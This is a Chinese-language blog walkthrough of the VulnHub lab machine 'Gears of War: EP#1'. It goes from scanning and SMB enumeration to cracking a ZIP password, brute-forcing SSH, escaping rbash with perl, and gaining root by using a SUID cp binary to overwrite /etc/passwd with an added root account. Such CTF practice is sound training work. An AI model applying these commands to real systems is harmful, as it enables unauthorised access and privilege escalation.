『VulnHub系列』Gears of War: EP#1-Walkthrough

這是我完成的VulnHub上的第30個靶機。

靶機地址

難度:初級++

靶機發布日期:2019年10月17日

在這裏插入圖片描述

靶機描述:Its a CTF machine that deals with the history of gears of war, where we must try to escape from prison and obtain root privileges. it has some rabbit holes, so you have to try to connect the tracks to get access.

Works better in VirtualBox that VMware

博客中如有任何問題,懇請批評指正,萬分感謝。個人郵箱:[email protected]

工具、知識點和漏洞

  • nmap
  • gobuster
  • crunsh
  • fcrackzip
  • enum4linux
  • smbclient
  • smb共享未授權訪問
  • cp命令提權

0x00、信息收集

靶機IP:192.168.56.101

nmap -sn 192.168.56.0/24

在這裏插入圖片描述

端口和服務

nmap -sS -sV -T5 -A -p- 192.168.56.101

在這裏插入圖片描述

頁面、目錄枚舉

gobuster dir -u http://192.168.56.101 -w ~/Desktop/SecLists/Discovery/Web-Content/raft-large-directories.txt -x .php,.txt,.html,.zip

枚舉結果

  • /marcus.html
  • /dom.html
  • /cole.html
  • /baird.html
  • /acarmine.html

訪問/marcus.html,看樣子網頁裏面的註釋可能是個hint。本以爲是個目錄,訪問了一下發現不是。

在這裏插入圖片描述

訪問/dom.html同樣得到一個hint。

在這裏插入圖片描述

隨後依次訪問其他頁面,從各頁面得到如下提示

  • /cole.html >> pbyr
  • /baird.html >> onveq
  • /acarmine.html >> npnezvar

使用enum4liux進行smb信息枚舉,得到共享//192.168.56.101/LOCUS_LAN$。之後用smbclient訪問共享目錄,得到兩個文件。

在這裏插入圖片描述

解壓zip文件時發現需要輸入密碼。查看SOS.txt文件,裏面是有關密碼的提示:

在這裏插入圖片描述

crunsh -t參數的含義

在這裏插入圖片描述

結合上面這兩個,我們就知道需要使用crunsh生成密碼字典,並且密碼的長度爲4位,以及組合方式。最後使用fcrackzip破解得到密碼r44M

在這裏插入圖片描述

解壓msg_horda.zip後得到key.txt。查看key.txt後發現裏面有個字符串,結合之前的信息收集,想到的只有SSH的登錄密碼或者是網站的某個目錄。訪問http://192.168.56.101/3_d4y提示未發現頁面。

hydra爆破一下得到了一組賬號密碼marcus:3_d4y,隨後通過SSH登錄系統。

在這裏插入圖片描述

0x01、rbash逃逸

登錄系統後執行cd命令提示如下:

在這裏插入圖片描述

仔細看了一下提示發現是rbash

在這裏插入圖片描述

參考文章:

最後通過perl -e 'exec "bin/sh";'成功逃逸。

在這裏插入圖片描述

PS:後來重新登錄靶機,發現直接執行perl -e 'exec "bin/sh";'無法逃逸,看來是與之前的一些測試有關係。

解決辦法是在SSH登錄的時候加上-t參數。

man ssh給出的解釋如下:

-t:Force pseudo-terminal allocation. This can be used to execute arbitrary screen-based programs on a remote machine,which can be very useful, e.g. when implementing menu services. Multiple -t options force tty allocation, even if ssh has no local tty.

強制分配僞終端。 這可用於在遠程計算機上執行任意基於屏幕的程序,這可能非常有用,例如,實施菜單服務時。即使ssh沒有本地tty,多個-t選項也會強制tty分配。

在這裏插入圖片描述

0x02、權限提升

--------------------------------------------------------------Begin 套話分割線 Begin--------------------------------------------------------------

關於Linux提權,可以直接用腳本蒐集一下對於提權有用的信息,比如用linuxprivchecker.pyLinEnum.sh.

如果你想熟悉一下沒有腳本的情況下怎麼收集這些信息可以參考privilege_escalation_-_linux

先在kali上開啓HTTP服務

python -m SimpleHTTPServer 65534

使用wget下載linuxprivchecker.py腳本到靶機的tmp目錄

因爲本人所在的地理位置不允許直接訪問Github,所以我是從自己的kali下載的

cd /tmp
wget http://192.168.0.108:65534/Desktop/linuxprivchecker.py

爲了便於查看收集到的信息,我將結果輸出到report.txt文本中,之後使用less查看

python linuxprivchecker.py > report.txt
less report.txt

靶機做了這些後發現還是手動收集更快……,手動收集不到有效信息的情況下再嘗試用腳本。

-------------------------------------------------------------- End 套話分割線 End --------------------------------------------------------------

find命令發現了SUID權限的/usr/share/vim/usr/share/awk/bin/cp

find / -perm -u=s 2>/dev/null

vim和awk在這裏都沒法提權成功。這兩個命令的提權條件見https://gtfobins.github.io/gtfobins/awk/#limited-suidhttps://gtfobins.github.io/gtfobins/vim/#limited-suid

PS:雖然SUID權限的vim可以直接提權但是當前用戶無法執行sudo命令。

我們這裏用cp命令提權。思路就是新建一個passwd文件,複製靶機上/etc/passwd中的內容,並增加一條記錄ins1ght:$1$xyz$NhnMM05Lqulqf2MG7zCjG/:0:0:root:/root:/bin/bash。然後用新建的passwd文件覆蓋原有的/etc/passwd。

生成加密密碼

openssl passwd -salt 'xyz' -1 ins1ght

在這裏插入圖片描述

在這裏插入圖片描述

0x03、後記

這個靶機應該還有其他的思路

在這裏插入圖片描述

如果你有其他的方法,歡迎留言。要是有寫錯了的地方,請你一定要告訴我。要是你覺得這篇博客寫的還不錯,歡迎分享給身邊的人。我是ins1ght.

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章